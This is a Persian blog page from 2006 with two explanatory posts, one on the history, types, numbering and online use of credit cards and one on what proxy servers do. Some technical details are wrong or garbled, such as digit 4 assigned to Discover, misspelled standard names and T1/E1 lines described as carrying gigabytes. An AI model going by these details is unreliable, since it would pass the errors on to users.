كارت اعتباري يك كارت پلاستيكي است كه روي آن نام صاحب كارت و شماره آن به صورت برجسته وجود دارد و پشت كارت يك نوار مغناطيسي ديده مي شود كه درون خود برخي اطلاعات مهم مثل هويت و آدرس هاي دارنده كارت را ذخيره كرده است. سيستم هاي مالي كامپيوتري مانند دستگاه هاي خود پرداز ATM از اين اطلاعات هنگام احراز هويت فرد به منظور برداشت پول استفاده مي كنند. يك كارت اعتباري استاندارد شامل يك عدد 16 رقمي نيز هست كه حاوي اطلاعات مهمي درباره نوع كارت،بانك صادر كننده آن و اطلاعات مهمي درباره نوع كارت،بانك صارد كننده آن و اطلاعات ديگر است. اين شماره براي دارنده هر كارت منحصر به فرد است. از اين شماره براي شناسايي دارنده كارت هنگام انجام معاملات الكترونيكي روي اينترنت نيز استفاده مي شود.

تاريخچه
آن طور كه در دائره المعارف هاي بريتانيكا و انكارتا آمده است،استفاده از اين نوع كارت برا ي انجام نقل و انتقال پول ابتدا در دهه 1920 و در كشور آمريكا رواج يافت. در آن زمان برخي شركت هاي خصوصي مانند بعضي از هتل هاي زنجيره اي و تعدادي از شركت هاي نفتي مشتريان خود را به استفاده از اين كارت ها براي سهولت در پرداخت تشويق مي كردند. استفاده از اين كارت ها پس از جنگ جهاني دوم و خروج از ركود اقتصادي شدت گرفت. اولين كارت اعتباري از نوع امروزي آن يعني كارتي كه بتوان با استفاده از آن در طيف وسيعي از فروشگاه ها و كسب و كارها پول مبادله كرد،در 1950 توسط Diners club inc. معرفي شد و هنوز هم يكي از كارت هاي اعتباري شناخته شده از اين نوع به شمار مي رود. در 1958 نيز كارت اعتباري ديگري در همين رده توسط شركت American Express معرفي شد كه در حال حاضر يكي از معروفترين نوع كارت هاي اعتباري است. مشخصه اصلي اين دسته از كارت ها اين است كه شركت صادر كننده كارت از دارنده آن يك مبلغ عضويت سالانه دريافت مي كند و سپس به صورت ماهانه يا سالانه و يا در دوره هاي زماني ديگر براي او صورت حساب مي فرستد و معادل مبلغ اين صورت حساب از موجودي دارنده كارت نزد شركت صادر كننده آن كسر مي شود. مدتي بعد سيستم كارت اعتباري بانكي رواج يافت. در اين سيستم كه امروزه نيز مورد استفاده است صادر كننده كارت اعتباري نزد بانك يك حساب دارند. هنگامي كه كالا يا خدماتي توسط دارنده كارت (مشتري) خريداري مي شود،اين پول بلافاصله به حساب فروشنده (كه خود نزد بانك حسابي دارد )واريز مي شود. بانك نيز به نوبه خود اين هزينه را به صورت ماهانه و يا در دوره هاي زماني معين ديگري به حساب مشتري منظور مي كند و صورت حساب برايش صادر مي كند و در صورتي كه به ميزان كافي در حساب مشتري پول نباشد،طي مهلت معيني از مشتري مي خواهد كه حساب خود را تكميل كند. مشتري مي تواند مبلغ مورد نظر را يك جا و يا با اقساطي كه بهره به آن تعلق مي گيرد،به بانك بپردازد. اولين سيستم بانكي از اين نوع در سال 1959 و از سوي Bank of America در كالفرنيا معرفي شد و Bank Americard نام داشت،اين سيستم تنها در همان ايالت كار مي كرد. اما بعدا” در سال 1966 در ايالت هاي ديگر نيز راه اندازي شد و صورت سراسري به خود گرفت. در سال 1976 اين سيستم بانكي به VISA تغيير نام داد. ويزا امروزه يك كنسرسيوم بين المللي است كه سيستم بانكي اغلب كشورهاي دنيا در آن مشاركت دارند. در همان سال 1966 اتحاديه كارت بين بانكي يا Interbank card Association شكل گرفت و بعدا” به Master card تغيير نام داد. ويژگي مستركات اين بود كه هيچ بانك خاصي در آن نقش محوري نداشت، بلكه هر كدام از بانكهايي كه به صورت محلي اقدام به صدور كارت اعتباري براي مشتريان خود مي كردند مايل بودند روشي براي متصل كردن سيستم هاي مالي خود به يكديگر پيدا كنند. چنين سيستمي مي توانست در ميان مشتريان كوچك بانك ها كه مايل بودند از كارت خود براي كارهايي مثل خريد مايحتاج روزانه و يا خريد اتومبيل و مسكن استفاده كنند علاقه مندان زيادي داشته باشد.

چرا كارت اعتباري؟
ممكن است اين سوال در ذهن كساني كه با اين كارت ها آشنايي ندارند به وجود آيد كه اصولا” فلسفه حضور اين كارت ها چيست و مزيت اصلي آن ها كدام است. كارت هاي اعتباري چنانچه از نامشان پيداست مقدار معيني اعتبار مالي در اختيا رصاحب كارت قرار مي دهند. هنگامي كه شما با حساب بانكي خودتان كار مي كنيد سابقه مبادلات مالي شما نزد بانك محفوظ مي ماند. بانك با استناد به اين سابقه مي تواند تخمين بزند كه اصولا” ميزان گردش مالي حساب شما در طول يك دوره زماني خاص چقدر است. در واقع ميانگين مانده حساب شما در هر دوره نشان دهنده حداقل ميزان درآمد شما يا به تعبير صحيح تر ميزان توانايي مالي شما در هر دوره زماني معين است. بانك يا هر موسسه مالي و اعتباري مشابه آن مي تواند بر اساس آن مانده به شما اعتبار بدهد. اعتبار معمولا” مقدار نقدينگي يا پولي است كه برابر يا بيشتر از ميزان مانده حساب شما است. مقداري كه مي توانيد در هر يك از آن دوره هاي زماني از موسسه يا بانك قرض بگيريد.فرض موسسه مالي مذكور اين است كه شما قادر خواهيد بود در اولين فرصت اين قرض را برگردانيد. به اين ترتيب انجام قطعي معاملات و مبادلات مالي شما با ديگران موكول به ميزان نقدينگي واقعي در دست شما نخواهد بود بلكه به ميزان اعتبار شما نزد موسسه مالي متكي خواهد بود.

انواع كارت اعتباري
كارت هاي اعتباري را اساسا” مي توان به دو دسته كارت هاي بانكي و غير بانكي تقسيم كرد. كارت هاي اعتباري بانكي مثل ويزا و مستركارت از سيستم اعتباري بانك ها استفاده مي كنند. در حالي كه كارت هاي غير بانكي را شركت ها و موسسات دولتي و خصوصي به مقاصد مختلفي عرضه مي كنند. آمريكن اكسپرس و دينر كلاب نمونه كارت هاي اعتباري غير بانكي هستند. همچنين در برخي از كشورها شركت هاي مخابرات و تلفن و يا شركت هاي توزيع كننده نفت،گاز و بنزين و نيز فروشگاه هاي زنجيره اي و باشگا ه هاي تفريحي اقدام به صدور كارت اعتباري مي كنند. دامنه كاربرد اين كارت ها بستگي به دامنه فعاليت شركت مربوطه و يا اهداف مالي آنها دارد. در هر صورت فعاليت تمام اين موسسات صادر كننده كارت بايد زير نظر نهاد مالي رسمي آن كشور و داراي مجوز فعاليت باشد. كارت هاي بانكي نيز داراي تنوع زيادي هستند. كارت هاي اعتباري تنها يك دسته از كارت هاي بانكي هستند و خود به انواع مختلفي تقسيم مي شوند. انواع فرعي كارت ها ي اعتباري بانكي معمولا” بر اساس نحوه محاسبه بهره،سقف ميزان اعتبار منتسب به كارت و حداقل موجودي دارنده حساب،نرخ حق اشتراك ساليانه و فاكتورهاي مالي ديگر محاسبه مي شود. بانك هاي صادر كننده كارت و يا شركت هاي غير بانكي معمولا” علاقه دارند كه انواع كارت هاي خود را بر حسب امتيازات متفاوتي كه در اختيار صاحب آن قرار مي دهد به گروه هايي با نام طلايي،نقره اي و از اين قبيل تقسيم كنند. يك دسته ديگر از كارت هاي بانكي مشابه آنچه كه اين روزها در كشور ما رايج است تنها به ارائه خدمات بانكي محدود از طريق باجه هاي خود پرداز اختصاص دارند و فاقد برخي از ويژگي هاي مهم يك كارت اعتباري استاندارد هستند. دسته ديگري از كارت هاي اعتباري بانكي نيز وجود دارند كه در بسياري از كشورهاي دنيا كه سيستم ها ي بين المللي مانند ويزا و مستركارت در آن ها به رسميت پذيرفته شده،به كار گرفته مي شوند. اين كارت ها معمولا” نام يك سازمان و يا شركت را بر خود دارند.سازمان يا شركت مذكور لزوما” يك موسسه يا نهاد مالي نيست بلكه ممكن است به قصد ارائه خدمات مالي به گروهي از اعضاي وابسته به خود پديد آمده باشد. مثلا” برخي از فروشگاه هاي اينترنتي مثل آمازون يا Barnes & Noble يا حتي پورتال ياهو خدمات مالي از اين دست را به اعضاي خود ارائه مي كنند. مشتركين يك lsp ،اعضاي يك باشگاه و يا مشتريان يك فروشگاه ممكن است اين شانس را داشته باشند كه با تهيه يك كارت اعتباري از اين نوع،ضمن بهره مندي از مزاياي عمومي يك كارت اعتباري بانكي،از خدمات ويژه شركت يا سازمان مذكور نيز استفاده كنند. مدل هاي مختلفي براي تعامل ميان اين سازمان هااز يك سو و بانك هاي صادر كننده كارت هاي بانكي و نيز كنسرسيوم هاي ويزا و مستركارت وجود دارد. گاهي اين سازمان ها مستقيما” با ويزا يا مستركارت وارد معامله مي شوند و خود يك واحد اعتباري مالي راه اندازي مي كنند. گاهي نيز با يك بانك معتبر طرف قرارداد با هر يك از اين كنسرسيوم هاي بين المللي وارد مذاكره مي شوند. شكل اخير رايج تر است زيرا معمولا” بانك هاي محلي شناخت بهتري از سابقه مالي نهادهاي محلي دارند. همچنين سازمان ها و يا شركت واسطه ممكن است بسته به نوع تعامل مالي خود با بانك صادر كننده اصلي كارت يا خود كنسرسيوم بين المللي ويزا و مستركارت، درصد اندكي از بهاي هر معامله را به عنوان پورسانت دريافت كند. به هر حال كاربران مي توانند با تهيه كارت هايي از اين نوع بدون مراجعه مستقيم به بانك معتبر و با واسطه يك شركت تجاري به شبكه مالي مستركارت يا ويزا بپيوندند. يك دسته مهم ديگر نيز از كارت هاي بانكي هستند كه البته اعتباري نيستند ولي بيشتر قابليت هاي آن مشابه كارت اعتباري است. به اين كارت ها اصطلاحا” Dwbit Card يا كارت بدهي مي گويند. برخلاف كارت اعتباري كه به دارنده آن اجازه خرج كردن بيشتر از موجودي مانده در حساب مي دهد،اين كارت ها فقط به اندازه موجودي مانده حساب مرتبط با آنها اعتبار دارند و پس از به پايان رسيدن اعتبار يا بايد مجددا” شارژ شوند و يا از درجه اعتبار ساقط مي شوند. ميزان حداقل و حداكثر موجودي در حساب اين كارت ها نيز محدود است. مثلا” اگر سقف موجودي يك كارت بدهي 1000 دلار باشد به معني آن است كه صاحب آن نمي تواند بهاي يك كالاي 1100 دلاري را يك جا بپردازد. همچنين اگر كف موجودي يك كارت 100 دلار باشد به معني آن است كه صاحب آن اگر در كارت خود 110 دلار داشته باشد تنها قادر است 10 دلار آن را واقعا” هزينه كند و مابقي نزد بانك سپرده خواهد بود. همچنين بسياري از كارت هاي بدهي فاقد قابليت استفاده در دستگاه هاي خود پرداز (ATM ) هستند.

سيستم شماره گذاري
اگر چه سيستم كارت اعتباري به عنوان يك مدل اقتصادي در مبادلات مالي در تمام دنيا مورد استفاده قرار مي گيرد اما اين به معناي آن نيست كه شركت هاي صادر كننده اين كارت ها همگي از سيتم و روش واحدي براي ذخيره اطلاعات و شماره گذاري كارت ها استفاده مي كنند. اما امروزه تمام كارت هاي اعتباري استاندارد و مشهور بين المللي از سيستم شماره گذاري ANSL Standard x4.13-1983 براي اين منظور استفاده مي كنند. در اين سيستم از يك عدد 16 رقمي استفاده مي شود. اين عدد براي سهولت هنگام خواندن يا به خاطر سپردن به صورت چهار رقمي نوشته مي شود اما اين تقسيم بندي چهارتايي هيچ ارزش و معناي خاصي ندارد. مثلا شماره گذاري يك كارت استاندارد مانند مستركارت يا ويزا به اين صورت انجام مي شود. از سمت چپ اولين رقم مشخص كننده سيستم كارت اعتباري است،عدد 3 مشخص كننده يك كارت از خانواده كارت هاي باشگاه هاي تفريحي و سير و سفر است. مثلا” 37 به معني American Express و 38 به معني Diners Club است. عدد 4 براي Discover Card استفاده مي شود. در مورد Master Card رقم دوم تعداد ارقام بعدي كه بايد به عنوان شماره شناسايي بانك تفسير شود را مشخص مي كند. مثلا” عدد يك به معني اين است كه رقم سوم شماره بانك است يا عدد 2 يعني رقم هاي سوم و چهارم شماره بانك است. ارقامي كه پس از شماره بانك مي آيند حداكثر تا رقم پانزدهم مشخص كننده حساب دارنده كارت است و رقم شانزدهم يك رقم كنترلي (check Digit ) مي باشد. در مورد visa ارقام دوم تا ششم شماره بانك و ارقام هفتم تا پانزدهم شماره حساب و ارقام سيزدهم يا شانزدهم رقم كنترلي هستند. اطلاعات اين نوار بر روي سه تراك كه عرض هر كدام به اندازه يك دهم اينچ است ذخيره مي شود. تراك هاي اول و سوم مي توانند 210 بيت بر اينچ (pbi )و تراك دوم مي تواند 75 بيت بر اينچ ذخيره كند. جزئيات نحوه ذخيره سازي اطلاعات روي اين تراك ها در استاندارد SO\LEC 7811 آمده است. متناظر با هر كارت اعتباري بانكي مشخصات مهمي از دارنده كارت نزد بانك صادر كننده كارت ثبت مي شود. اين اطلاعات حداقل شامل نام و نام خانوادگي دقيق دارنده كارت ،آدرس صحيح وي و شهر و كشور محل سكونت است. علاوه بر اطلاعات فوق،تاريخ انقضاي اعتبار كارت نيز ثبت مي شود. به طور معمول پيش از سر رسيدن تاريخ انقضاي كارت، صادر كننده آن با صاحب كارت تماس مي گيرد و او را براي جايگزين كردن كارت فعلي با كارت جديد تشويق مي كند،كارت جديد ممكن است داراي شماره متفاوتي باشد يا از همان شماره قبلي براي مدت معين ديگري مجددا” استفاده كنند.

استفاده از كارت اعتباري
اطلاعاتي كه همواره هر كارت اعتباري بانكي بين المللي ثبت مي شود توسط كنسرسيوم مربوطه بانك اصلي صادر كننده،واسطه احتمالي صدور كارت،و نيز خود دارنده آن قابل ا دسترسي است. اما هنگامي كه به يك معامله الكترونيكي از اين طريق صورت مي گيرد،فروشنده كالا يا خدمات تنها به اطلاعات ناچيزي از اين مجموعه دسترسي دارد كه آن نيز فقط براي انجام الكترونيكي معامله مورد نياز است و در سيستم هاي امن و استاندارد شبكه مبادلات الكترونيكي پول هرگز مشخصات كامل دارنده كارت در اختيار فروشنده قرار نمي گيرد. اگر يك كارت اعتباري يا بدهي از نوع ويزا و مستركارت توسط يك بانك معتبر صادر شود،به احتمال زياد دارنده آن كارت خواهد توانست از طريق شبكه اينترنت و با مراجعه به سايت بانك مربوطه،به حساب مرتبط با كارتش دسترسي پيدا كند و علاوه بر اطلاعات هويت و آدرس خود،سابقه گردش مالي حسابش را ببيند و از ديگر خدمات آنلاين بانك مذكور استفاده كند. همچنين صاحب كارت مي تواند با مراجعه به يك ياز هزاران سايت فروشنده آنلاين كالا و خدمات در اينترنت،كالايي سفارش دهد. هنگام ثبت سفارش خريد،همان اطلاعاتي كه در كارت اعتباري درج شده است از خريدار تقاضا مي شود. اگرسايت مذكور قبلا يك گواهي معتبر (certificate ) از يكي از شركت هاي صادر كننده گواهي ديجيتال دريافت كرده باشد،به معني آن است كه اين اطلاعات مستقيما” و از طريق يك پروتكل امن براي بانك صادر كننده كارت ارسال و صحت اطلاعات ارسال شده و ميزان موجود حساب كارت كنترل و نتيجه آن به سايت فروشنده اطلاع داده مي شود. هنگام ثبت سفارش دو آدرس توسط فروشنده از خريدار تقاضا مي شود . اگر خريدار هنگام ثبت سفارش قصد داشته باشد كالا را به آدرس ديگري غير از آدرس ثبت شده در كارت اعتباري خود بفرستد (اصطلاحا” اگر آدرس Billing يا صورت حساب متفاوت از آدرس Shipping يا ارسال كالاي خريداري شده باشد.) آدرس دومي نيز ضروري است در غير اين صورت كالا به آدرس پيش فرض در كارت اعتباري ارسال مي گردد. توجه به اين نكته ضروري است،كه برخي از سايت اي اينترنتي براي خريداران خود يك پروفايل ايجاد مي كنند و نام خريدار آدرس ثبت شده در كارت اعتباري و شماره 16 رقمي كارت را به همراه نوع آن مثلا مستركارت روي بانك اطلاعاتي خود ثبت مي كنند تا خريدار در مراجعه بعدي نيازمند پركردن مجدد اين مشخصات هنگام ثبت سفارش نباشد. دراين صورت بايد خريدار اطمينان حاصل كند كه اطلاعات كارت اعتباري او از سوي سايت فروشنده مورد سوء استفاده قرار نخواهد گرفت.

برخي اصطلاحات مهم مرتبط با كارت اعتباري
در مقالات آينده به تفصيل نحوه استفاده از كارت هاي اعتباري بين المللي و مكانيزم گردش الكترونيكي پول در شبكه اينترنت را توضيح خواهيم داد. اما قبل از اين كه بخواهيد از اين كارت ها استفاده كنيد و احتمالا” كالايي را به صورت الكترونيكي بخريد،بد نيست با بعضي از اصطلاحات رايج بين المللي در اين زمينه آشنا شويد.
Annual Fee :حق عضويت سالانه كه برخي از شركت ها هنگام صدور كارت يا تمديد عضويت دريافت مي كنند. اين روزها بسياري از صادر كنندگان كارت شعار بدون حق عضويت سالانه را تبليغ مي كنند و احتمال آن هايي هم كه اكنون اين مبالغ را دريافت مي كنند در آينده از آن چشم پوشي خواهند كرد تا مشتريان خود را حفظ كنند.
Finance charge :شارژ مالي . عبارت است از پولي كه شما بابت استفاده از كارت اعتباري مي پردازيد. بهزبان ساده، اين همان پولي است كه شما هنگام خريد كردن كالا و خدمات از حساب خود خارج مي كنيد. اين مقدرا علاوه بر هزينه هاي مربوط به بهره ممكن است شامل كارمزدهاي ديگري مانند cache-advance fees نيز باشد. كارمزد اخير هنگامي از دارنده كارت اخذ مي شود كه شما بيش از موجودي مانده حساب خود هزينه كنيد.

Interest Rate :نرخ سود. شيوه هاي مختلفي براي محاسبه نرخ سود وجود دارد. اغلب كارت هاي اعتباري از شيوه هاي مختلف محاسبه APR استفاده مي كنند. اما كارت هاي بدهي ممكن است از شيوه ها ي ديگري مثل كسر مقدار ناچيز و ثابتي از پول به ازاي هر بار خريد استفاده كنند.

Annual Percentage Rate(APR) :درصدي از ميزان شارژ مالي شما در طول يك سال. اين عدد به زبان ساده همان سود سالانه اي است كه بابت ارائه خدمات الكترونيكي از شما كسر مي شود.

Fixed Rate : اگر APR بر مبناي نرخ سود ثابت سالانه محاسبه شود به آن نرخ ثابت مي گويند.

Variable Rate :اگر نرخ سود سالانه متغير و وابسته به ديگر انواع نرخ بهره بانكي باشد،به آن نرخ شناور و يا متغير مي گويند. اين نرخ معمولا” از مجموع دو عدد ديگر يعني نرخ پايه اي بهره كه قابل تغيير توسط مديريت امور بانكي كشور است و درصدي از همين عدد كه توسط موسسه مالي مربوطه تعيين مي شود به دست مي آيد.

نوشته شده توسط احسان برشیدی در سه شنبه 1385/08/30

لينك ثابت

Proxy Server چيست؟ ( )

Proxy Server نرم افزاري است كه در يك شبكه حد واسط بين اينترنت و كاربران واقع مي شود. فلسفه ايجاد Proxy Server قراردادن يك خط اينترنت در اختيار تعداد بيش از يك نفر استفاده كننده در يك شبكه بوده است ولي بعدها امكانات و قابليتهايي به Proxy Server افزوده شد كه كاربرد آن را فراتر از به اشتراك نهادن خطوط اينترنت كرد . بطور كلي Proxy Server ها در چند مورد كلي استفاده مي شوند .
يك كاربرد Proxy Server ها ، همان به اشتراك گذاشتن يك خط اينترنت براي چند كاربر است كه باعث كاهش هزينه و كنترل كاربران و همچنين ايجاد امنيت بيشتر مي شود . كاربرد دوم Proxy Serverها ، در سايتهاي اينترنتي به عنوان Firewall مي باشد . كاربرد سوم كه امروزه از آن بسيار استفاده مي شود ، Caching اطلاعات است . با توجه به گران بودن هزينه استفاده از اينترنت و محدود بودن پهناي باند ارتباطي براي ارسال و دريافت اطلاعات ، معمولا" نمي توان به اطلاعات مورد نظر در زمان كم و با سرعت مطلوب دست يافت . امكان Caching اطلاعات ، براي كمك به رفع اين مشكل در نظر گرفته شده است . Proxy Server ، سايتهايي را كه بيشتر به آنها مراجعه مي شود را دريك حافظه جداگانه نگاه مي دارد. به اين ترتيب براي مراجعه مجدد به آنها نيازي به ارتباط از طريق اينترنت نيست بلكه به همان حافظه مخصوص رجوع خواهد شد .
اين امر باعث مي گردد از يك طرف زمان دسترسي به اطلاعات كمتر شده و از سوي ديگر چون اطلاعات از اينترنت دريافت نمي شود ، پهناي باند محدود موجود با اطلاعات تكراري اشغال نشود . بخصوص آنكه معمولا" تغييرات در يك Website محدود به يك يا دو صفحه مي باشد و گرفتن اطلاعات از اينترنت بدون Caching به معناي گرفتن كل سايت مي باشد حال آنكه با استفاده از Proxy Server و امكان Caching اطلاعات ، ميتوان تنها صفحات تغيير كرده را دريافت كرد .

ويژگيهاي Proxy Server
ويژگي اول : با استفاده از Proxy Server مي توان از اكثر پروتكلهاي موجود در شبكه هاي محلي در محدوده نرم افزارهاي كاربردي در شبكه هاي LAN مرتبط با اينترنت استفاده كرد .
Proxy Server پروتكلهاي پر كاربرد شبكه هاي محلي مانند IPX/SPX (مورد استفاده در شبكه هاي ناول) ، NETBEUI (مورد استفاده در شبكه هاي LAN با تعداد كاربران كم) و TCP/IP (مورد استفاده در شبكه هاي Intranet) را پشتيباني مي كند. با اين ترتيب براي اينكه بتوان از يك نرم افزار كاربردي شبكه LAN كه مثلا" با پروتكل IPX/SPX روي ناول نوشته شده ، روي اينترنت استفاده كرد نيازي نيست كه قسمتهاي مربوط به ارتباط با شبكه كه از Function Call هاي API استفاده كرده را به Function Call هاي TCP/IP تغيير داد بلكه Proxy Server خود اين تغييرات را انجام داده و مي توان به راحتي از نرم افزاري كه تا كنون تحت يك شبكه LAN با ناول كار مي كرده است را در شبكه اي كه مستقيما" به اينترنت متصل است ، استفاده كرد .
همين ويژگي درباره سرويسهاي اينترنت مانند , FTP , Telnet , Gopher , IRC RealAudio , Pop3 و . . . وجود دارد . به اين معنا كه هنگام پياده سازي برنامه با يك سرويس يا پروتكل خاص ، محدوديتي نبوده و كدي در برنامه براي ايجاد هماهنگي نوشته نمي شود .

ويژگي دوم : با Cache كردن اطلاعاتي كه بيشتر استفاده مي شوند و با بروز نگاه داشتن آنها ، قابليت سرويسهاي اينترنت نمايان تر شده و مقدار قابل توجهي در پهناي باند ارتباطي صرفه جويي مي گردد.

ويژگي سوم : Proxy Server امكانات ويژه اي براي ايجاد امنيت در شبكه دارد . معمولا" در شبكه ها دو دسته امنيت اطلاعاتي مد نظر است . يكي آنكه همه كاربران شبكه نتوانند از همه سايتها استفاده كنند و ديگر آنكه هر كسي نتواند از روي اينترنت به اطلاعات شبكه دسترسي پيدا كند . با استفاده ازProxy Server نيازي نيست كه هر Client بطور مستقيم به اينترنت وصل شود در ضمن از دسترسي غيرمجاز به شبكه داخلي جلوگيري مي شود . همچنين مي توان با استفاده از SSL (Secure Sockets Layers) امكان رمز كردن داده ها را نيز فراهم آورد.

ويژگي چهارم : Proxy Server بعنوان نرم افزاري كه مي تواند با سيستم عامل شما مجتمع شود و همچنين با IIS (Internet Information Server) سازگار مي باشد، استفاده مي گردد.

خدمات Proxy Server
Proxy Server سه سرويس در اختيار كاربران خود قرار مي دهد:
1-Web Proxy Service : اين سرويس براي Web Publishing يا همان ايجاد Web Site هاي مختلف درشبكه LAN مفيد مي باشد . براي اين منظور قابليت مهم Reverse Proxing در نظر گرفته شده است . Reverse Proxing امكان شبيه سازي محيط اينترنت درمحيط داخل مي باشد. به اين ترتيب فرد بدون ايجاد ارتباط فيزيكي با اينترنت مي تواند برنامه خود را همچنان كه در محيط اينترنت عمل خواهد كرد، تست كرده و مورد استفاده قرا دهد. اين قابليت در بالا بردن سرعت و كاهش هزينه توليد نرم افزارهاي كاربردي تحت اينترنت موثر است.
2-Winsock Proxy Service : منظور، امكان استفاده از API Callهاي Winsock در Windows است . در Windows ، Function Call هاي مورد استفاده در سرويسهاي اينترنت مانند Telnet ، FTP ، Gopher و . . . ، تحت عنوان Winsock Protocols معرفي شده اند. در حقيقت براي استفاده از اين سرويسها در نرم افزارهاي كاربردي نيازي نيست كه برنامه نويس چگونگي استفاده از اين سرويسها را پيش بيني كند.
3-Socks Proxy Service : اين سرويس، سرويس Socks 4.3a را پشتيباني مي كند كه در واقع زير مجموعه اي از Winsock مي باشد و امكان استفاده از Http 1.02 و بالاتر را فراهم مي كند. به اين ترتيب مي توان در طراحي Website خارج از Firewall ، Security ايجاد كرد.

معيارهاي موثر در انتخاب Proxy Server
1- سخت افزار مورد نياز : براي هر چه بهتر شدن توانمنديهاي Proxy Server ، بايد سخت افزار آن توانايي تحمل بار مورد انتظار را داشته باشد .
2- نوع رسانه فيزيكي براي ارتباط با اينترنت : راه حلهاي مختلفي براي اتصال به شبكه اينترنت وجود دارد . ساده ترين راه ، استفاده از مودم و خطوط آنالوگ مي باشد . راه ديگر استفاده از ISDN و خطوط ديجيتال است كه هم احتياج به تبديل اطلاعات از آنالوگ به ديجيتال و برعكس در ارسال و دريافت اطلاعات ندارد و هم از سرعت بالاتري برخوردار است . روش ديگر استفاده از خط هاي T1/E1 با ظرفيت انتقال گيگا بايت مي باشد .
• پيشنهاد مي شود كه در شبكه هاي با كمتر از 250 كاربر از ISDN و از 250 كاربر به بالا از T1/E1 استفاده شود . ( البته در ايران به علت عدم وجود خطوط ISDN و كمبود خطوط T1/E1 اين استانداردها كمتر قابل پياده سازي هستند. )
3- هزينه ارتباط با اينترنت : دو عامل موثر در هزينه اتصال به اينترنت ، پهناي باند و مانايي ارتباط مي باشد . هر چه مرورگرهاي اينترنتي بيشتر و زمان استفاده بيشتر باشد ، هزينه بالاتر خواهد بود . با توجه به اينكه Proxy Server مي تواند با Caching اطلاعات اين موارد را بهبود بخشد ، بررسي اين عامل مي تواند در تعيين تعداد Proxy هاي مورد استفاده موثر باشد .
4- نوع و نحوه مديريت سايت : اين عامل نيز در تعيين تعداد Proxyها موثر است . مثلا" اگر در شبكه اي مشكل راهبري وجود داشته باشد ، با اضافه كردن تعداد Proxyها ، مشكل راهبري نيز بيشتر خواهد شد .
5- پروتكل هاي مورد استفاده : Proxy Server ها معمولا" از پروتكلهاي TCP/IP و يا IPX/SPX براي ارتباط با Client ها استفاده مي كنند . بنابراين براي استفاده از Proxy بايد يكي از اين پروتكل ها را در شبكه استفاده كرد

نوشته شده توسط احسان برشیدی در یکشنبه 1385/03/07

لينك ثابت

..: آخرین ارسال ها :..

. اين قالب توسط ساسان نوبخت طراحي و كدنويسي شده است و هرگونه كپي برداري از آن منوط به كسب اجازه مي باشد